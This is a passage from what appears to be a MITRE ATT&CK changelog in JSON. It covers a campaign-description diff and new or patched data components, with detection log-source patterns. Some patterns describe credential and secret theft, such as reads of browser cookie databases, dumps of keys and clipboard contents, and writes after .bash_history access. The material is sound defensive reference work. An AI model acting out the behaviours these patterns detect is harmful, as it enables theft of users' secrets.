nowrap=\"nowrap\">&nbsp;y&nbsp;Drenaje),&nbsp;Tamaulipas&nbsp;State&nbsp;Government,&nbsp;and&nbsp;the&nbsp;Mexico&nbsp;Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;Health&nbsp;Department&nbsp;(Salud&nbsp;CDMX).&nbsp;The&nbsp;attack&nbsp;resulted&nbsp;in&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;Health&nbsp;Department&nbsp;(Salud&nbsp;CDMX).&nbsp;The&nbsp;attack&nbsp;resulted&nbsp;in&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;theft&nbsp;of&nbsp;large&nbsp;amounts&nbsp;of&nbsp;sensitive&nbsp;government&nbsp;data&nbsp;and&nbsp;civ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;theft&nbsp;of&nbsp;large&nbsp;amounts&nbsp;of&nbsp;sensitive&nbsp;government&nbsp;data&nbsp;and&nbsp;civ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilian&nbsp;records.&nbsp;<span class=\"diff_sub\">Please&nbsp;note&nbsp;that&nbsp;due&nbsp;to&nbsp;the&nbsp;breadth&nbsp;of&nbsp;this&nbsp;c</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilian&nbsp;records.&nbsp;(Citation:&nbsp;AI-Mexico-Govt-Compromise)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ampaign,&nbsp;public&nbsp;reporting&nbsp;only&nbsp;provides&nbsp;select&nbsp;details&nbsp;and&nbsp;a</span></td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">s&nbsp;a&nbsp;result&nbsp;this&nbsp;campaign&nbsp;should&nbsp;not&nbsp;be&nbsp;considered&nbsp;comprehens</span></td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">ive.</span>(Citation:&nbsp;AI-Mexico-Govt-Compromise)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "assets": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "mitigations": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "course-of-action",
                    "id": "course-of-action--3172222b-4983-43f7-8983-753ded4f13bc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-06-10 20:46:02.263000+00:00",
                    "modified": "2026-09-03 20:31:27.076000+00:00",
                    "name": "Network Intrusion Prevention",
                    "description": "Use intrusion detection signatures to block traffic at network boundaries.  In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.",
                    "revoked": false,
                    "labels": [
                        "IEC 62443-3-3:2013 - SR 6.2",
                        "IEC 62443-4-2:2019 - CR 6.2",
                        "NIST SP 800-53 Rev. 5 - SI-4"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/mitigations/M0931",
                            "external_id": "M0931"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-09-03 20:31:27.076000+00:00\", \"old_value\": \"2026-05-12 15:12:00.730000+00:00\"}}}",
                    "previous_version": "1.1"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "datasources": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "datacomponents": {
            "additions": [
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.274000+00:00",
                    "modified": "2026-10-13 19:46:23.403000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0079",
                            "external_id": "DC0079"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Driver Load",
                    "description": "The process of attaching a driver, which is a software component that allows the operating system and applications to interact with hardware devices, to either user-mode or kernel-mode of a system. This can include benign actions (e.g., hardware drivers) or malicious behavior (e.g., rootkits or unsigned drivers). Examples: \n\n- Legitimate Driver Loading: A new graphics driver from a vendor like NVIDIA or AMD is loaded into the system.\n- Unsigned Driver Loading: A driver without a valid digital signature is loaded into the kernel.\n- Rootkit Installation: A malicious rootkit driver is loaded to manipulate kernel-mode processes.\n- Anti-Virus or EDR Driver Loading: An Endpoint Detection and Response (EDR) solution loads its driver to monitor system activities.\n- Driver Misuse: A legitimate driver is loaded and exploited to execute malicious actions, such as using vulnerable drivers for bypassing defenses (e.g., Bring Your Own Vulnerable Driver (BYOVD) attacks).",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "linux:syslog",
                            "channel": "dmesg or syslog for module loads"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Driver load events or firmware load failures for hardware devices"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6 kernel driver load from path not in trusted driver paths, not signed by trusted signer list"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6 of a known vulnerable third-party driver immediately preceding privilege escalation indicators"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=6 for wireless capture driver on host not in designated wireless management station list"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode= 6 Npcap/WinPcap driver loaded by image not in authorized capture software"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ]
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-10-13 19:46:44.053000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0053",
                            "external_id": "DC0053"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Firewall Metadata",
                    "description": "Contextual information about firewalls, including their configurations, policies, status, and other details such as names and associated rules. This metadata provides valuable insights into the operational state and configurations of firewalls, both in cloud control planes and host systems. Examples: \n\n- Firewall Name and Configuration: The name, type, and purpose of a firewall such as \"Azure Firewall - Production Environment.\"\n- Policy Details: Capturing firewall policy details, such as \"Allow inbound TCP 443 to web servers.\"\n- Firewall Status: Status indicators like \"Active,\" \"Disabled,\" or \"Pending Updates.\"\n- Audit Log Metadata: Log entries showing administrative changes, such as \"Policy modified by admin@domain.com.\"\n- Rules Associated with Firewalls: Rules specifying source/destination IP ranges, protocols, and ports.\n- Tagging Information: Tags like \"Environment: Production\" or \"Owner: NetworkOps.\"\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure: Use Azure Activity Logs and Network Watcher to collect metadata for Azure Firewall.\n    - Example: `az network firewall show --name <firewall-name>`\n- AWS: Use AWS CloudTrail and describe commands: `aws ec2 describe-security-groups`\n- Google Cloud: Use gcloud commands to extract metadata: `gcloud compute firewall-rules list --format=json`\n\nHost-Based Firewalls\n\n- Windows: Use PowerShell to gather metadata: `Get-NetFirewallRule -PolicyStore PersistentStore`\n- Linux: Query iptables or nftables rulesets: `iptables -S`\n- macOS: Use pfctl to extract metadata: `sudo pfctl -sr`\n\nSIEM Integration\n\n- Collect logs from cloud platforms, host systems, and network appliances.\n\nAPI Monitoring\n\n- Monitor API calls for metadata requests. Example (AWS): `Capture DescribeSecurityGroups or DescribeNetworkAcls` calls via CloudTrail.\n\nEndpoint Detection and Response (EDR)\n\n- Use EDR solutions to monitor firewall management tools for configuration changes or queries.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Windows Security Windows Filtering Platform / Firewall audit events (policy-dependent): Windows Firewall rule added blocking Industrial Control Systems (ICS) protocol ports by account not in authorized firewall admins"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ]
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-10-13 19:46:59.402000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0051",
                            "external_id": "DC0051"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Firewall Rule Modification",
                    "description": "The creation, deletion, or alteration of firewall rules to allow or block specific network traffic. Monitoring changes to these rules is critical for detecting misconfigurations, unauthorized access, or malicious attempts to bypass network protections. Examples: \n\n- Rule Creation: Adding a new rule to allow inbound traffic on port 3389 (RDP).\n- Rule Deletion: Deleting a rule that blocks inbound traffic from untrusted IP ranges.\n- Rule Modification: Changing a rule to allow traffic from \"any\" source IP instead of a specific trusted range.\n- Audit Log Metadata: Logs indicating \"Firewall rule modified by admin@domain.com.\"\n- Platform-Specific Scenarios\n    - Azure: Altering rules in an Azure Network Security Group (NSG).\n    - AWS: Modifying Security Group rules to allow traffic.\n    - Windows: Changes tracked in Security Event Logs (EID 4950 or 4951).\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure: Collect rule modification logs from Azure Firewall Activity Logs.\n    - Example Command: `az network firewall policy rule-collection-group rule-collection list --policy-name <policy-name>`\n- AWS: Use CloudTrail to track `AuthorizeSecurityGroupIngress` or `RevokeSecurityGroupIngress` actions.\n    Example: `aws ec2 describe-security-groups`\n- Google Cloud: Use gcloud commands to extract firewall rules: `gcloud compute firewall-rules list --format=json`\n\nHost-Based Firewalls\n\n- Windows: \n    - Collect events from the Windows Security Event Log (EID 4950: A rule has been modified).\n    - Use PowerShell to track rule changes: `Get-NetFirewallRule -PolicyStore PersistentStore`\n- Linux:\n    - Monitor iptables or nftables rule modifications: `iptables -L -v`\n    - Use auditd for real-time monitoring: `auditctl -w /etc/iptables.rules -p wa`\n- macOS: Use pfctl to monitor rule changes: `sudo pfctl -sr`\n\nSIEM Integration\n\n- Collect logs from cloud platforms, host systems, and network appliances for centralized monitoring.\n\nAPI Monitoring\n\n- Monitor API calls for firewall rule modifications.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "AuthorizeSecurityGroupIngress"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "Create egress rule allowing UDP to port 53, 123, 11211"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "Ingress rule creation or modification for security group"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "New security group created with permissive rules"
                        },
                        {
                            "name": "esxi:hostd",
                            "channel": "vSphere API calls modifying firewall settings"
                        },
                        {
                            "name": "Firewall Audit Logs",
                            "channel": "Config Change"
                        },
                        {
                            "name": "Firewall Audit Logs",
                            "channel": "Outbound NAT Rule Changes"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "iptables or nftables rule changes"
                        },
                        {
                            "name": "networkdevice:cli",
                            "channel": "firewall disable commands or suspicious ACL modifications"
                        },
                        {
                            "name": "networkdevice:Firewall",
                            "channel": "update_rule: Access control or NAT rule modified or disabled outside maintenance window"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Policy Change / Rule Update"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "rule_modification: New or modified firewall rules related to wireless interfaces"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall",
                            "channel": "new rule allowing inbound or outbound connections for remote desktop software"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Firewall Rule Modification"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Windows Security Windows Filtering Platform / Firewall audit events (policy-dependent): firewall rule change blocking unsolicited Industrial Control Systems (ICS) reporting traffic while command/polling traffic continues"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "Windows Security Windows Filtering Platform / Firewall audit events (policy-dependent): firewall rule change selectively blocking one Industrial Control Systems (ICS) traffic type from Supervisory Control and Data Acquisition (SCADA)/Distributed Control System (DCS) host without corresponding change ticket"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "ics-attack"
                    ]
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.272000+00:00",
                    "modified": "2026-10-13 19:45:58.720000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0035",
                            "external_id": "DC0035"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Process Access",
                    "description": "Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n    -  EDR solutions that provide telemetry on inter-process access and memory manipulation.\n- Sysmon (Windows):\n    - Event ID 10: Captures process access attempts, including:\n        - Source process (initiator)\n        - Target process (victim)\n        - Access rights requested\n        - Process ID correlation\n- Windows Event Logs:\n    - Event ID 4656 (Audit Handle to an Object): Logs access attempts to system objects.\n    - Event ID 4690 (Attempted Process Modification): Can help identify unauthorized process changes.\n- Linux/macOS Monitoring:\n    - AuditD: Monitors process access through syscall tracing (e.g., `ptrace`, `open`, `read`, `write`).\n    - eBPF/XDP: Used for low-level monitoring of kernel process access.\n    - OSQuery: Query process access behavior via structured SQL-like logging.\n- Procmon (Process Monitor) and Debugging Tools:\n    - Windows Procmon: Captures real-time process interactions.\n    - Linux strace / ptrace: Useful for tracking process behavior at the system call level.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "android:logcat",
                            "channel": "Runtime grant or manifest presence for MANAGE_EXTERNAL_STORAGE/READ_EXTERNAL_STORAGE/READ_MEDIA_*; legacy external storage mode detection"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Activity/Process state change (mFocusedApp, onResume/onPause) identifying <pkg> as foreground"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/activation of BIND_ACCESSIBILITY_SERVICE, BIND_INPUT_METHOD, SYSTEM_ALERT_WINDOW, POST_NOTIFICATIONS for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/enablement for BIND_ACCESSIBILITY_SERVICE or BIND_INPUT_METHOD for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Grant/enablement of SYSTEM_ALERT_WINDOW, BIND_ACCESSIBILITY_SERVICE, POST_NOTIFICATIONS for <pkg>"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Reads/queries ops for PACKAGE_USAGE_STATS, QUERY_ALL_PACKAGES, BIND_DEVICE_ADMIN, BIND_VPN_SERVICE"
                        },
                        {
                            "name": "Apple TCC Logs",
                            "channel": "Microphone Access Events"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace attach"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace syscall or access to /proc/*/mem"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ACCESS"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "execve, fork, mmap, ptrace"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "ptrace or process_vm_readv"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "Linux Audit SYSCALL/EXECVE/SOCKADDR records (configured audit rule): syscall=ptrace/process_vm_readv; process accesses an ICS service process PID from an image or UID not in the debugger/diagnostic allowlist"
                        },
                        {
                            "name": "EDR:telemetry",
                            "channel": "Sustained or high-frequency location sensor access, including background location usage"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Code signing validation events referencing newly written local Mach-O/bundle prior to exec or dlopen"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Privacy (TCC) prompts/grants for Photos/Files or access changes indicating new visibility into user/app data"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Foreground/background transition for <bundle_id> to contextualize access timing"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Keyboard extension Full Access change; privacy grant touching input/keyboard categories for <bundle_id>"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Keyboard extension Full Access change or related privacy grant for <bundle_id>"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Scene/foreground transitions for <bundle_id> to contextualize timing"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "Process State"
                        },
                        {
                            "name": "linux:osquery",
                            "channel": "process_events"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*"
                        },
                        {
                            "name": "macos:endpointsecurity",
                            "channel": "ES_EVENT_TYPE_NOTIFY_OPEN"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "process_open"
                        },
                        {
                            "name": "macos:osquery",
                            "channel": "unexpected memory inspection"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "ptrace or task_for_pid"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Unusual Mach port registration or access attempts between unrelated processes"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem=com.apple.security, library=libsystem_kernel.dylib"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "vm_read, task_for_pid, or file open to cookie databases"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: accessibility_service or notification_listener appears attributed to a bundle IN $LegitimateSystemProcesses$ within $InjectionWindow$ of root detection \u2014 injected code requesting special permissions under a legitimate system process identit"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: kernel log entry at level=fault referencing task_for_pid or get-task-allow violation on SUPERVISED device with Unified Log forwarding \u2014 kernel records entitlement violations at fault level; requires supervised MDM with Unified Log export"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: process in $TargetProcessList$ shows unexpected behavior change (new network destinations, new permission accesses) within $InjectionWindow$ of root status change \u2014 behavioral delta in target process post-injection is the anomaly indicator"
                        },
                        {
                            "name": "mobile:DynamicAnalysis",
                            "channel": "Dynamic API/runtime trace: kernel log at level=fault referencing task_for_pid, mach_vm_write, or get-task-allow outside developer build on SUPERVISED device \u2014 Apple Unified Log kernel subsystem records these violations at fault level; supervised MDM with Unified Log"
                        },
                        {
                            "name": "WinEventLog:Security",
                            "channel": "EventCode=4663, 4670, 4656"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=25"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10 where SourceImage outside the approved ICS vendor/process baseline accesses TargetImage associated with an ICS application or service"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "EventCode=10 cross-process memory access into Industrial Control Systems (ICS) vendor process from image not in trusted security tool list, followed by unexpected termination within exploit crash correlation window"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "3.0",
                    "x_mitre_domains": [
                        "enterprise-attack",
                        "mobile-attack",
                        "ics-attack"
                    ]
                }
            ],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-11-03 00:06:23.011000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0039",
                            "external_id": "DC0039"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "File Creation",
                    "description": "A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs). ",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Monitored creation of an APK or application-package staging artifact following external retrieval"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "App UID writes new file with suspicious extension/location (.tmp, .dat, .enc, /data/data/<pkg>/files/, /sdcard/Download/) and high estimated entropy"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "App UID writes edited media to container paths (e.g., /data/data/<pkg>/files/, .../cache/, /storage/emulated/0/Pictures/<pkg>/) with high delta in size vs. original and elevated estimated segment entropy  "
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Create/write of high-entropy files in /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/<...> with .dex/.so/.jar/.tmp/.bin"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Create/write under /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/ with extension .dex/.jar/.so/.zip/.tmp/.js and elevated entropy"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE of archive or container (.zip/.gz/.7z/.db copy) that aggregates files pulled from other-package paths"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to app-writable DB/file path indicating clipboard dump (e.g., clipboard.db, clip_*.txt)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE paths like /data/data/<pkg>/files/(keys|inputs)/.*\\\\.db|\\\\.txt|\\\\.log"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(keys|inputs|clipboard).*\\\\.(db|sqlite|txt|log)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(creds|form|prompt).*\\\\.(db|sqlite|json|txt)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(app_inventory|pkg_list).*\\\\.(json|txt|db)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(security_inventory|policy_audit).*\\\\.(json|txt|db|plist)"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "File creation with name starting with '.'"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: New file created in system binaries or temp directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "mount target path within /proc/*"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "creat"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open or creat syscalls targeting excluded paths"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "file creation/modification"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write/open, FIM audit"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open: Write to ~/.vscode-cli/code_tunnel.json"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open, unlink, rename: File creation or deletion involving critical stored data"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write, open, or rename to /etc/systemd/system/*.service"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open, write, unlink"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write or create file after .bash_history access"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "new file created in /var/www/html, /srv/http, or similar web root"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "Access or modification to /lib/modules or creation of .ko files"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,create"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,creat,rename,write"
                        },
                        {
                            "name": "auditd:SYSCALL+PATH",
